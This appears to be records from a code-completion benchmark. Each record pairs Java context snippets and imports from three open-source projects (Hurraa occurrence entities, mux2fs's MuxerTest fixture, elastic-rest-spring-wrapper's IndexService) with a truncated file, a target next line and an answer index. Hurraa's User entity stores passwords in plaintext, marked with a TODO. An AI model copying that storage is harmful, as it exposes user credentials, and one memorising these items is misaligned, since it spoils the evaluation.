newValue=\").append(newValue)\n\t\t\t\t.append(\"]\");\n\t\treturn builder.toString();\n\t}\n\n\tpublic OccurrenceUpdate getOccurrenceUpdate() {\n\t\treturn occurrenceUpdate;\n\t}\n\n\tpublic void setOccurrenceUpdate(OccurrenceUpdate occurrenceUpdate) {\n\t\tthis.occurrenceUpdate = occurrenceUpdate;\n\t}\n\n\tpublic String getFieldName() {\n\t\treturn fieldName;\n\t}\n\n\tpublic void setFieldName(String fieldName) {\n\t\tthis.fieldName = fieldName;\n\t}\n\n\tpublic String getOldValue() {\n\t\treturn oldValue;\n\t}\n\n\tpublic void setOldValue(String oldValue) {\n\t\tthis.oldValue = oldValue;\n\t}\n\n\tpublic String getNewValue() {\n\t\treturn newValue;\n\t}\n\n\tpublic void setNewValue(String newValue) {\n\t\tthis.newValue = newValue;\n\t}\n\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\t\n}", "@Entity\npublic class OccurrenceState implements Serializable {\n\t\n\tprivate static final long serialVersionUID = -4673686582019613496L;\n\n\t@Id\n\t@GeneratedValue(strategy = GenerationType.IDENTITY)\n\tprivate Integer id;\n\t\n\t@NotEmpty\n\tprivate String name;\n\t\n\tprivate boolean active = true;\n\t\n\tpublic OccurrenceState() {}\n\t\n\tpublic OccurrenceState(Integer id) {\n\t\tsuper();\n\t\tthis.id = id;\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = 1;\n\t\tresult = prime * result + ((id == null) ? 0 : id.hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (obj == null)\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tOccurrenceState other = (OccurrenceState) obj;\n\t\tif (id == null) {\n\t\t\tif (other.id != null)\n\t\t\t\treturn false;\n\t\t} else if (!id.equals(other.id))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\n\tpublic Integer getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Integer id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic boolean isActive() {\n\t\treturn active;\n\t}\n\n\tpublic void setActive(boolean active) {\n\t\tthis.active = active;\n\t}\n\t\n}", "@Entity\npublic class OccurrenceUpdate implements Serializable {\n\t\n\tprivate static final long serialVersionUID = -2861856691981925823L;\n\n\t@Id\n\t@GeneratedValue(strategy=GenerationType.IDENTITY)\n\tprivate Long id;\n\t\n\t@Lob\n\tprivate String updateNote;\n\t\n\t@Temporal(TemporalType.TIMESTAMP)\n\tprivate Date updateDate;\n\t\n\t@ManyToOne\n\tprivate User user;\n\t\n\t@NotNull\n\t@ManyToOne\n\t@JoinColumn(name=\"occurrence_id\", nullable = false)\n\tprivate Occurrence occurrence;\n\t\n\t@OneToMany(mappedBy=\"occurrenceUpdate\" , orphanRemoval=true , cascade = CascadeType.ALL , fetch = FetchType.EAGER)\n\tprivate List<OccurrenceFieldUpdate> updatedFields;\n\t\n\t@PrePersist\n\tpublic void prePersistRoutine(){\n\t\tupdateDate = new Date();\n\t}\n\t\n\tpublic boolean occurrenceWasChanged(){\n\t\treturn ( updateNote != null && !updateNote.isEmpty() )\n\t\t\t\t|| ( updatedFields != null && !updatedFields.isEmpty() );\n\t}\n\t\n\tpublic OccurrenceUpdate() {\t}\n\t\n\tpublic OccurrenceUpdate( Occurrence occurrence , String updateNote ) {\n\t\tthis.occurrence = occurrence;\n\t\tthis.updateNote = updateNote;\n\t}\n\t\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getUpdateNote() {\n\t\treturn updateNote;\n\t}\n\n\tpublic void setUpdateNote(String updateNote) {\n\t\tthis.updateNote = updateNote;\n\t}\n\n\tpublic Date getUpdateDate() {\n\t\treturn updateDate;\n\t}\n\n\tpublic void setUpdateDate(Date updateDate) {\n\t\tthis.updateDate = updateDate;\n\t}\n\n\tpublic User getUser() {\n\t\treturn user;\n\t}\n\n\tpublic void setUser(User user) {\n\t\tthis.user = user;\n\t}\n\n\tpublic List<OccurrenceFieldUpdate> getUpdatedFields() {\n\t\treturn updatedFields;\n\t}\n\n\tpublic void setUpdatedFields(List<OccurrenceFieldUpdate> updatedFields) {\n\t\tthis.updatedFields = updatedFields;\n\t}\n\n\tpublic Occurrence getOccurrence() {\n\t\treturn occurrence;\n\t}\n\n\tpublic void setOccurrence(Occurrence occurrence) {\n\t\tthis.occurrence = occurrence;\n\t}\n\n}", "@Entity\r\npublic class ProblemType {\r\n\t@Id\r\n\t@GeneratedValue(strategy = GenerationType.IDENTITY)\r\n\tprivate Long id;\r\n\t\r\n\t@NotBlank\r\n\tprivate String name;\r\n\r\n\tpublic Long getId() {\r\n\t\treturn id;\r\n\t}\r\n\r\n\tpublic void setId(Long id) {\r\n\t\tthis.id = id;\r\n\t}\r\n\r\n\tpublic String getName() {\r\n\t\treturn name;\r\n\t}\r\n\r\n\tpublic void setName(String name) {\r\n\t\tthis.name = name;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic int hashCode() {\r\n\t\tfinal int prime = 31;\r\n\t\tint result = 1;\r\n\t\tresult = prime * result + ((id == null) ? 0 : id.hashCode());\r\n\t\treturn result;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic boolean equals(Object obj) {\r\n\t\tif (this == obj)\r\n\t\t\treturn true;\r\n\t\tif (obj == null)\r\n\t\t\treturn false;\r\n\t\tif (getClass() != obj.getClass())\r\n\t\t\treturn false;\r\n\t\tProblemType other = (ProblemType) obj;\r\n\t\tif (id == null) {\r\n\t\t\tif (other.id != null)\r\n\t\t\t\treturn false;\r\n\t\t} else if (!id.equals(other.id))\r\n\t\t\treturn false;\r\n\t\treturn true;\r\n\t}\r\n}\r", "@Entity\npublic class Sector implements Serializable {\n\n private static final long serialVersionUID = 1L;\n\n @Id\n @GeneratedValue(strategy = GenerationType.IDENTITY)\n private Long id;\n \n @NotNull\n @Column(name = \"name\" , unique = true , nullable = false)\n private String name;\n \n @NotNull\n @Email\n private String email;\n \n private boolean active;\n \n private boolean respondsOccurrence;\n\n public Sector() {\n }\n\n public Long getId() {\n return id;\n }\n\n public void setId(Long id) {\n this.id = id;\n }\n\n public String getName() {\n return name;\n }\n\n public void setName(String name) {\n this.name = name;\n }\n \n public String getEmail() {\n\t\treturn email;\n\t}\n\n\tpublic void setEmail(String email) {\n\t\tthis.email = email;\n\t}\n\n\tpublic boolean isActive() {\n\t\treturn active;\n\t}\n\n\tpublic void setActive(boolean active) {\n\t\tthis.active = active;\n\t}\n\n\tpublic boolean isRespondsOccurrence() {\n\t\treturn respondsOccurrence;\n\t}\n\n\tpublic void setRespondsOccurrence(boolean respondsOccurrence) {\n\t\tthis.respondsOccurrence = respondsOccurrence;\n\t}\n\n\t@Override\n public boolean equals(Object obj) {\n if (this == obj) {\n return true;\n }\n if (obj == null) {\n return false;\n }\n if (getClass() != obj.getClass()) {\n return false;\n }\n Sector other = (Sector) obj;\n if (id == null) {\n if (other.id != null) {\n return false;\n }\n } else if (!id.equals(other.id)) {\n return false;\n }\n return true;\n }\n \n @Override\n public int hashCode() {\n final int prime = 31;\n int result = 1;\n result = prime * result + ((id == null) ? 0 : id.hashCode());\n return result;\n }\n}", "@Entity\npublic class User implements Serializable {\n\n private static final long serialVersionUID = 1L;\n\n @Id\n @GeneratedValue(strategy = GenerationType.IDENTITY)\n private Long id;\n\n @NotNull\n private String name;\n\n @NotNull\n private String email;\n\n //TODO: Now the passoword will be open. Later in the project we will hash it.\n @NotNull\n private String password;\n\n public Long getId() {\n return id;\n }\n\n public void setId(Long id) {\n this.id = id;\n }\n\n public String getName() {\n return name;\n }\n\n public void setName(String name) {\n this.name = name;\n }\n\n public String getEmail() {\n return email;\n }\n\n public void setEmail(String email) {\n this.email = email;\n }\n\n public String getPassword() {\n return password;\n }\n\n public void setPassword(String password) {\n this.password = password;\n }\n\n @Override\n public String toString() {\n return \"User [id=\" + id + \", name=\" + name + \", mail=\" + email + \"]\";\n }\n}", "public class NoChangeInOccurrenceException extends Exception {\n\n\tprivate static final long serialVersionUID = 7223524166847452173L;\n\n}", "public class OccurrenceFieldUpdateBuilder {\n\t\n\tprivate OccurrenceFieldUpdate occurrenceFieldUpdate;\n\t\n\tpublic OccurrenceFieldUpdateBuilder() {\n\t\toccurrenceFieldUpdate = new OccurrenceFieldUpdate();\n\t}\n\t\n\tpublic OccurrenceFieldUpdateBuilder forOccurrenceUpdate(OccurrenceUpdate occurrenceUpdate){\n\t\toccurrenceFieldUpdate.setOccurrenceUpdate( occurrenceUpdate );\n\t\treturn this;\n\t}\n\t\n\tpublic OccurrenceFieldUpdateBuilder withFieldName(String fieldName){\n\t\toccurrenceFieldUpdate.setFieldName(fieldName);\n\t\treturn this;\n\t}\n\t\n\tpublic OccurrenceFieldUpdateBuilder withNewValue(String newValue){\n\t\toccurrenceFieldUpdate.setNewValue(newValue);\n\t\treturn this;\n\t}\n\t\n\tpublic OccurrenceFieldUpdateBuilder withOldValue(String oldValue){\n\t\toccurrenceFieldUpdate.setOldValue(oldValue);\n\t\treturn this;\n\t}\n\t\n\tpublic OccurrenceFieldUpdate build(){\n\t\ttry{\n\t\t\treturn occurrenceFieldUpdate;\n\t\t}finally{\n\t\t\toccurrenceFieldUpdate = new OccurrenceFieldUpdate();\n\t\t}\n\t}\n\t\n}" ]
import java.util.ArrayList; import java.util.Date; import java.util.List; import javax.ejb.Stateless; import javax.ejb.TransactionAttribute; import javax.ejb.TransactionAttributeType; import javax.ejb.TransactionManagement; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import javax.transaction.Transactional; import org.cejug.hurraa.model.Occurrence; import org.cejug.hurraa.model.OccurrenceFieldUpdate; import org.cejug.hurraa.model.OccurrenceState; import org.cejug.hurraa.model.OccurrenceUpdate; import org.cejug.hurraa.model.ProblemType; import org.cejug.hurraa.model.Sector; import org.cejug.hurraa.model.User; import org.cejug.hurraa.model.bean.exception.NoChangeInOccurrenceException; import org.cejug.hurraa.model.builder.OccurrenceFieldUpdateBuilder; import com.opensymphony.sitemesh.compatability.OldDecorator2NewDecorator;
/* * Hurraa is a web application conceived to manage resources * in companies that need manage IT resources. Create issues * and purchase IT materials. Copyright (C) 2014 CEJUG. * * Hurraa is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Hurraa is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Hurraa. If not, see http://www.gnu.org/licenses/gpl-3.0.html. * */ package org.cejug.hurraa.model.bean; @Stateless public class OccurrenceBean extends AbstractBean<Occurrence> { public OccurrenceBean() { super(Occurrence.class); } @PersistenceContext private EntityManager entityManager; @Override public void insert(Occurrence entity) { super.insert(entity); }
public void updateOccurrence(Occurrence occurrence , String updateNote, User user) throws NoChangeInOccurrenceException{
7
tfiskgul/mux2fs
core/src/test/java/se/tfiskgul/mux2fs/mux/MuxerTest.java
[ "public static final int SUCCESS = 0;", "public abstract class Fixture {\n\n\tprotected Path mockPath(String name, FileSystem fileSystem) {\n\t\tPath path = mock(Path.class);\n\t\twhen(path.getFileSystem()).thenReturn(fileSystem);\n\t\twhen(path.toString()).thenReturn(name);\n\t\tFile file = mock(File.class);\n\t\twhen(file.exists()).thenReturn(true);\n\t\twhen(file.isDirectory()).thenReturn(true);\n\t\twhen(path.toFile()).thenReturn(file);\n\t\twhen(fileSystem.getPath(name)).thenReturn(path);\n\t\twhen(fileSystem.getPath(name, \"/\")).thenReturn(path);\n\t\twhen(fileSystem.getPath(name, \"/\", \"..\")).thenReturn(path); // Resolve \"..\" to the same as \".\"\n\t\treturn path;\n\t}\n\n\tprotected FileSystem mockFileSystem() {\n\t\tFileSystem fileSystem = mock(FileSystem.class);\n\t\tFileSystemProvider fsProvider = mock(FileSystemProvider.class);\n\t\twhen(fileSystem.provider()).thenReturn(fsProvider);\n\t\treturn fileSystem;\n\t}\n\n\tprotected Path mockPath(Path parent, String name) {\n\t\treturn mockPath(parent, name, 0L);\n\t}\n\n\tprotected Path mockDir(Path parent, String name) {\n\t\treturn mockDir(parent, name, 0L);\n\t}\n\n\tprotected Path mockDir(Path parent, String name, long size) {\n\t\tPath mockPath = mockPath(parent, name, size);\n\t\twhen(mockPath.toFile().isDirectory()).thenReturn(true);\n\t\treturn mockPath;\n\t}\n\n\tprotected Path mockPath(Path parent, String name, long size) {\n\t\tFileSystem fileSystem = parent.getFileSystem();\n\t\tPath subPath = mock(Path.class);\n\t\tFile subPathToFile = mock(File.class);\n\t\twhen(subPath.toFile()).thenReturn(subPathToFile);\n\t\twhen(subPathToFile.length()).thenReturn(size);\n\t\twhen(subPathToFile.exists()).thenReturn(true);\n\t\twhen(subPath.getFileSystem()).thenReturn(fileSystem);\n\t\twhen(subPath.resolve(anyString())).thenAnswer(invoke -> {\n\t\t\tString childName = (String) invoke.getArguments()[0];\n\t\t\treturn mockPath(subPath, childName);\n\t\t});\n\t\twhen(subPath.getParent()).thenReturn(parent);\n\t\twhen(fileSystem.getPath(parent.toString(), name)).thenReturn(subPath);\n\t\tString fullPath = (parent.toString() + \"/\" + name).replace(\"//\", \"/\");\n\t\twhen(fileSystem.getPath(fullPath)).thenReturn(subPath);\n\t\twhen(subPath.toString()).thenReturn(fullPath);\n\t\tPath subPathFileName = mock(Path.class);\n\t\twhen(subPathFileName.toString()).thenReturn(name);\n\t\twhen(subPath.getFileName()).thenReturn(subPathFileName);\n\t\treturn subPath;\n\t}\n\n\tprotected DirectoryStream<Path> mockDirectoryStream(Path root, Path... entries)\n\t\t\tthrows IOException {\n\t\treturn mockDirectoryStream(root, ImmutableList.copyOf(entries));\n\t}\n\n\tprotected DirectoryStream<Path> mockShuffledDirectoryStream(Path root, Path... entries)\n\t\t\tthrows IOException {\n\t\tArrayList<Path> shuffled = new ArrayList<Path>(Arrays.asList(entries));\n\t\tCollections.shuffle(shuffled);\n\t\treturn mockDirectoryStream(root, ImmutableList.copyOf(shuffled));\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tprotected DirectoryStream<Path> mockDirectoryStream(Path root, List<Path> entries)\n\t\t\tthrows IOException {\n\t\tDirectoryStream<Path> directoryStream = mock(DirectoryStream.class);\n\t\twhen(directoryStream.iterator()).thenAnswer((inv) -> entries.iterator());\n\t\twhen(directoryStream.spliterator()).thenAnswer((inv) -> entries.spliterator());\n\t\twhen(root.getFileSystem().provider().newDirectoryStream(eq(root), any())).thenReturn(directoryStream);\n\t\treturn directoryStream;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tprotected <T> ImmutableList<T> list(T... elements) {\n\t\treturn ImmutableList.<T> builder().add(elements).build();\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tprotected <T> Stream<T> stream(T... elements) {\n\t\treturn list(elements).stream();\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tprotected <T> Set<T> set(T... elements) {\n\t\treturn ImmutableSet.<T> builder().add(elements).build();\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tprotected <T> T[] array(T... array) {\n\t\treturn array;\n\t}\n\n\tprotected <T> Consumer<T> empty() {\n\t\treturn (t) -> {\n\t\t};\n\t}\n\n\tprotected void testAllErrors(Try.CheckedConsumer<ExpectedResult, Exception> sut)\n\t\t\tthrows Exception {\n\t\tList<ExpectedResult> list = list( //\n\t\t\t\texp(new NoSuchFileException(null), -ErrorCodes.ENOENT()), //\n\t\t\t\texp(new AccessDeniedException(null), -ErrorCodes.EPERM()), //\n\t\t\t\texp(new NotDirectoryException(null), -ErrorCodes.ENOTDIR()), //\n\t\t\t\texp(new NotLinkException(null), -ErrorCodes.EINVAL()), //\n\t\t\t\texp(new UnsupportedOperationException(), -ErrorCodes.ENOSYS()), //\n\t\t\t\texp(new IOException(), -ErrorCodes.EIO())); //\n\t\tlist.forEach(expected -> Try.runWithCatch(() -> sut.accept(expected), Exception.class).get());\n\t}\n\n\tprivate static ExpectedResult exp(Exception exception, int value) {\n\t\treturn ExpectedResult.create(exception, value);\n\t}\n\n\t@AutoValue\n\tpublic abstract static class ExpectedResult {\n\n\t\tprivate static ExpectedResult create(Exception exception, int value) {\n\t\t\treturn new AutoValue_Fixture_ExpectedResult(exception, value);\n\t\t}\n\n\t\tpublic abstract Exception exception();\n\n\t\tpublic abstract int value();\n\t}\n\n\tprotected Map<String, Object> mockAttributes(int nonce, Instant base, long size) {\n\t\tMap<String, Object> attributes = new HashMap<>();\n\t\tattributes.put(\"dev\", nonce * 3L);\n\t\tattributes.put(\"ino\", nonce * 5L);\n\t\tattributes.put(\"nlink\", nonce * 7);\n\t\tattributes.put(\"mode\", nonce * 11);\n\t\tattributes.put(\"uid\", nonce * 13);\n\t\tattributes.put(\"gid\", nonce * 17);\n\t\tattributes.put(\"rdev\", nonce * 19L);\n\t\tattributes.put(\"size\", size);\n\t\tattributes.put(\"lastAccessTime\", FileTime.from(base.minus(29, ChronoUnit.DAYS)));\n\t\tattributes.put(\"lastModifiedTime\", FileTime.from(base.minus(31, ChronoUnit.DAYS)));\n\t\tattributes.put(\"ctime\", FileTime.from(base.minus(37, ChronoUnit.DAYS)));\n\t\treturn attributes;\n\t}\n\n\tprotected Map<String, Object> mockAttributes(int nonce, Instant base, Path path) {\n\t\treturn mockAttributes(nonce, base, path.toFile().length());\n\t}\n\n\tprotected Map<String, Object> mockAttributes(int nonce, Instant base) {\n\t\treturn mockAttributes(nonce, base, nonce * 23L);\n\t}\n\n\tprotected void mockAttributes(Path mkv, int nonce)\n\t\t\tthrows IOException {\n\t\tMap<String, Object> attributes = mockAttributes(nonce, Instant.now());\n\t\twhen(mkv.getFileSystem().provider().readAttributes(eq(mkv), eq(\"unix:*\"))).thenReturn(attributes);\n\t}\n\n\tprotected void mockAttributes(Path path, int nonce, long size)\n\t\t\tthrows IOException {\n\t\twhen(path.toFile().length()).thenReturn(size);\n\t\tMap<String, Object> attributes = mockAttributes(nonce, Instant.now(), path);\n\t\twhen(path.getFileSystem().provider().readAttributes(eq(path), eq(\"unix:*\"))).thenReturn(attributes);\n\t}\n\n\tprotected static class ConsumerRecorder<T> implements Consumer<T> {\n\n\t\tprivate T value;\n\n\t\tpublic ConsumerRecorder() {\n\t\t}\n\n\t\t@Override\n\t\tpublic void accept(T value) {\n\t\t\tthis.value = value;\n\t\t}\n\n\t\tpublic T get() {\n\t\t\treturn value;\n\t\t}\n\t}\n\n\tprotected long count(Object mock, Method method) {\n\t\treturn Mockito.mockingDetails(mock).getInvocations().stream().filter(inv -> inv.getMethod().equals(method)).count();\n\t}\n}", "@FunctionalInterface\npublic interface Sleeper {\n\n\tvoid sleep(int millis)\n\t\t\tthrows InterruptedException;\n}", "@FunctionalInterface\npublic static interface MuxerFactory {\n\tMuxer from(Path mkv, Path srt, Path tempDir);\n\n\tstatic MuxerFactory defaultFactory() {\n\t\treturn (mkv, srt, tempDir) -> Muxer.of(mkv, srt, tempDir);\n\t}\n}", "@FunctionalInterface\npublic static interface ProcessBuilderFactory {\n\tProcessBuilder from(String... command);\n}", "public enum State {\n\tNOT_STARTED, RUNNING, SUCCESSFUL, FAILED\n}" ]
import static java.util.concurrent.TimeUnit.MILLISECONDS; import static java.util.concurrent.TimeUnit.NANOSECONDS; import static org.assertj.core.api.Assertions.assertThat; import static org.junit.Assert.fail; import static org.mockito.Matchers.any; import static org.mockito.Matchers.anyInt; import static org.mockito.Matchers.anyLong; import static org.mockito.Mockito.doThrow; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.times; import static org.mockito.Mockito.verify; import static org.mockito.Mockito.verifyNoMoreInteractions; import static org.mockito.Mockito.when; import static se.tfiskgul.mux2fs.Constants.SUCCESS; import java.io.IOException; import java.nio.file.AccessMode; import java.nio.file.FileSystem; import java.nio.file.NoSuchFileException; import java.nio.file.Path; import java.nio.file.spi.FileSystemProvider; import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.junit.rules.ExpectedException; import org.junit.runner.RunWith; import org.junit.runners.BlockJUnit4ClassRunner; import org.mockito.Matchers; import org.powermock.api.mockito.PowerMockito; import org.powermock.core.classloader.annotations.PrepareForTest; import org.powermock.modules.junit4.PowerMockRunner; import org.powermock.modules.junit4.PowerMockRunnerDelegate; import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import se.tfiskgul.mux2fs.Fixture; import se.tfiskgul.mux2fs.fs.base.Sleeper; import se.tfiskgul.mux2fs.mux.Muxer.MuxerFactory; import se.tfiskgul.mux2fs.mux.Muxer.ProcessBuilderFactory; import se.tfiskgul.mux2fs.mux.Muxer.State;
/* MIT License Copyright (c) 2017 Carl-Frederik Hallberg Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package se.tfiskgul.mux2fs.mux; @SuppressFBWarnings("RV_RETURN_VALUE_IGNORED_BAD_PRACTICE") @RunWith(PowerMockRunner.class) @PrepareForTest({ ProcessBuilder.class, Muxer.class }) @PowerMockRunnerDelegate(BlockJUnit4ClassRunner.class) public class MuxerTest extends Fixture { @Rule public final ExpectedException exception = ExpectedException.none(); private FileSystemProvider provider; private Path mkv; private Path srt; private Path tempDir; private ProcessBuilderFactory factory; private ProcessBuilder builder; private Process process;
private Sleeper sleeper;
2
luminis-ams/elastic-rest-spring-wrapper
src/test/java/eu/luminis/elastic/document/DocumentServiceIT.java
[ "public class IndexDocumentHelper {\n @Autowired\n private DocumentService documentService;\n\n public void indexDocument(String index, String type, String id, String message) {\n indexDocument(index, type, id, message, 2000L);\n }\n\n public void indexDocument(String index, String type, String id, String message, Long year) {\n indexDocument(index, type, id, message, null, year, null);\n }\n\n public void indexDocument(String index,\n String type,\n String id,\n String message,\n List<String> tags,\n long year,\n Date created) {\n MessageEntity messageEntity = new MessageEntity();\n messageEntity.setMessage(message);\n messageEntity.setTags(tags);\n messageEntity.setYear(year);\n messageEntity.setCreated(created);\n\n IndexRequest indexRequest = new IndexRequest(index, type, id);\n indexRequest.setEntity(messageEntity);\n\n documentService.index(DEFAULT_CLUSTER_NAME, indexRequest);\n }\n\n}", "@Configuration\n@Import(RestClientConfig.class)\npublic class SingleClusterRestClientConfig {\n\n @Bean\n public SingleClusterRestClientFactoryBean singleClusterRestClientFactoryBean(ClusterManagementService clusterManagementService) {\n return new SingleClusterRestClientFactoryBean(clusterManagementService);\n }\n\n @Bean\n public SingleClusterSearchService singleClusterSearchService(SearchService searchService) {\n return new SingleClusterSearchService(searchService);\n }\n\n @Bean\n public SingleClusterDocumentService singleClusterDocumentService(DocumentService documentService) {\n return new SingleClusterDocumentService(documentService);\n }\n\n @Bean\n public SingleClusterIndexService singleClusterIndexService(IndexService indexService) {\n return new SingleClusterIndexService(indexService);\n }\n\n @Bean\n public SingleClusterClusterService singleClusterClusterService(ClusterService clusterService) {\n return new SingleClusterClusterService(clusterService);\n }\n}", "@Configuration\n@PropertySource(\"classpath:test.properties\")\npublic class TestConfig {\n\n @Bean\n public ObjectMapper objectMapper() {\n return new ObjectMapper();\n }\n\n @Bean\n public IndexDocumentHelper indexDocumentHelper() {\n return new IndexDocumentHelper();\n }\n}", "public class MessageEntity {\n private String id;\n private String message;\n private List<String> tags;\n private Long year;\n private Date created;\n\n public String getMessage() {\n return message;\n }\n\n public void setMessage(String message) {\n this.message = message;\n }\n\n public String getId() {\n return id;\n }\n\n public void setId(String id) {\n this.id = id;\n }\n\n public List<String> getTags() {\n return tags;\n }\n\n public void setTags(List<String> tags) {\n this.tags = tags;\n }\n\n public Long getYear() {\n return year;\n }\n\n public void setYear(Long year) {\n this.year = year;\n }\n\n public Date getCreated() {\n return created;\n }\n\n public void setCreated(Date created) {\n this.created = created;\n }\n}", "public class MessageEntityByIdTypeReference extends TypeReference<GetByIdResponse<MessageEntity>>{\n}", "@Service\npublic class IndexService {\n private static final Logger logger = LoggerFactory.getLogger(IndexService.class);\n\n private final ClusterManagementService clusterManagementService;\n private final ObjectMapper jacksonObjectMapper;\n\n /**\n * Service containing functionality to manage indexes.\n *\n * @param clusterManagementService Used to interact with the clusters\n * @param jacksonObjectMapper Mapper used to handle responses\n */\n @Autowired\n public IndexService(ClusterManagementService clusterManagementService, ObjectMapper jacksonObjectMapper) {\n this.clusterManagementService = clusterManagementService;\n this.jacksonObjectMapper = jacksonObjectMapper;\n }\n\n /**\n * Checks if the cluster with the provided cluster name contains an index with the provided index name\n *\n * @param clusterName The name of the cluster to connect to\n * @param indexName The name of the index to check for existence\n * @return True if the index exists in the cluster with the provided name\n */\n public Boolean indexExist(String clusterName, String indexName) {\n try {\n Response response = clusterManagementService.getRestClientForCluster(clusterName).performRequest(\n \"HEAD\",\n indexName\n );\n\n int statusCode = response.getStatusLine().getStatusCode();\n\n if (statusCode == 200) {\n return true;\n } else if (statusCode == 404) {\n return false;\n } else {\n logger.warn(\"Problem while checking index existence: {}\", response.getStatusLine().getReasonPhrase());\n throw new QueryExecutionException(\"Could not check index existence, status code is \" + statusCode);\n }\n } catch (IOException e) {\n logger.warn(\"Problem while verifying if index exists.\", e);\n throw new IndexApiException(\"Error when checking for existing index.\");\n }\n }\n\n /**\n * Create a new index with the name {@code indexName} in the cluster with the provided {@code clusterName}. The\n * index settings and mappings can be provided using the {@code requestBody}\n *\n * @param clusterName The name of the cluster to create the index in.\n * @param indexName The name of the index to create\n * @param requestBody The mappings and settings for the index to be created\n */\n public void createIndex(String clusterName, String indexName, String requestBody) {\n try {\n HttpEntity entity = new StringEntity(requestBody);\n Response response = clusterManagementService.getRestClientForCluster(clusterName).performRequest(\n \"PUT\",\n indexName,\n new Hashtable<>(),\n entity);\n\n int statusCode = response.getStatusLine().getStatusCode();\n if (statusCode > 299) {\n logger.warn(\"Problem while creating an index: {}\", response.getStatusLine().getReasonPhrase());\n throw new QueryExecutionException(\"Could not create index, status code is \" + statusCode);\n }\n\n } catch (UnsupportedEncodingException e) {\n logger.warn(\"Problem converting the request body into an http entity\");\n throw new IndexApiException(\"Problem converting the request body into an http entity\", e);\n } catch (IOException e) {\n logger.warn(\"Problem creating new index.\");\n throw new IndexApiException(\"Problem creating new index\", e);\n }\n }\n\n /**\n * Drop the index with the provided {@code indexName} in the cluster with the provided {@code clusterName}\n *\n * @param clusterName The name of the cluster to drop the index from\n * @param indexName The name of the index to drop\n */\n public void dropIndex(String clusterName, String indexName) {\n try {\n Response response = clusterManagementService.getRestClientForCluster(clusterName).performRequest(\n \"DELETE\",\n indexName);\n\n int statusCode = response.getStatusLine().getStatusCode();\n if (statusCode > 499) {\n logger.warn(\"Problem while deleting an index: {}\", response.getStatusLine().getReasonPhrase());\n throw new QueryExecutionException(\"Could not delete index, status code is \" + statusCode);\n }\n } catch (IOException e) {\n logger.warn(\"Problem deleting index.\");\n throw new IndexApiException(\"Problem deleting index\", e);\n }\n\n }\n\n /**\n * Refresh the provided indexes {@code names} in the cluster with the provided name {@code clusterName}\n *\n * @param clusterName The name of the cluster to refresh the indexes from\n * @param names The names of the indexes to be refreshed\n */\n public void refreshIndexes(String clusterName, String... names) {\n try {\n String endpoint = \"/_refresh\";\n if (names.length > 0) {\n endpoint = \"/\" + String.join(\",\", names) + endpoint;\n }\n\n Response response = clusterManagementService.getRestClientForCluster(clusterName).performRequest(\n \"POST\",\n endpoint\n );\n\n if (response.getStatusLine().getStatusCode() > 399 && logger.isWarnEnabled()) {\n logger.warn(\"Problem while refreshing indexes: {}\", String.join(\",\", names));\n }\n\n if (logger.isDebugEnabled()) {\n HttpEntity entity = response.getEntity();\n\n RefreshResponse refreshResponse = jacksonObjectMapper.readValue(entity.getContent(), RefreshResponse.class);\n Shards shards = refreshResponse.getShards();\n logger.debug(\"Shards refreshed: total {}, successfull {}, failed {}\", shards.getTotal(), shards.getSuccessful(), shards.getFailed());\n }\n } catch (IOException e) {\n logger.warn(\"Problem while executing refresh request.\", e);\n throw new ClusterApiException(\"Error when refreshing indexes.\" + e.getMessage());\n }\n\n }\n}", "public static final String DEFAULT_CLUSTER_NAME = \"default-cluster\";" ]
